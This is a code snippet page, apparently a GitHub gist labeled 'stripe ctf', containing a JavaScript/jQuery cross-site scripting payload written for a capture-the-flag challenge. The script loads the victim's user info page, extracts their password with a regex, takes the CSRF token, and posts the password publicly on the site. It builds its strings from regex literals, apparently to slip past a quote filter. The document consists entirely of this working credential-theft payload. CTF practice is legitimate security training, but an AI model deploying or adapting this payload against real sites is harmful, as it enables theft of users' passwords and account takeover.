Skip to content

Instantly share code, notes, and snippets.

@davethegr8
Created August 23, 2012 17:35
Show Gist options
  • Save davethegr8/3439164 to your computer and use it in GitHub Desktop.
Save davethegr8/3439164 to your computer and use it in GitHub Desktop.
stripe ctf
$(function(){
var passUrl = location.href+/user_info/.source;
var postUrl = location.href+/ajax\posts/.source;
var csrf = $(/input/.source).first().val();
$.ajax({
url: passUrl,
success: function(data){
var pass = escape(/Password:<\/th>\s+<td>(.+)<\/td>/.exec(data)[1]);
$.ajax({
type: /POST/.source,
url: postUrl,
data: {
title: pass,
body: pass,
_csrf: csrf
},
success: function(data) {
alert(/done/.source);
}
});
}
});
});
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment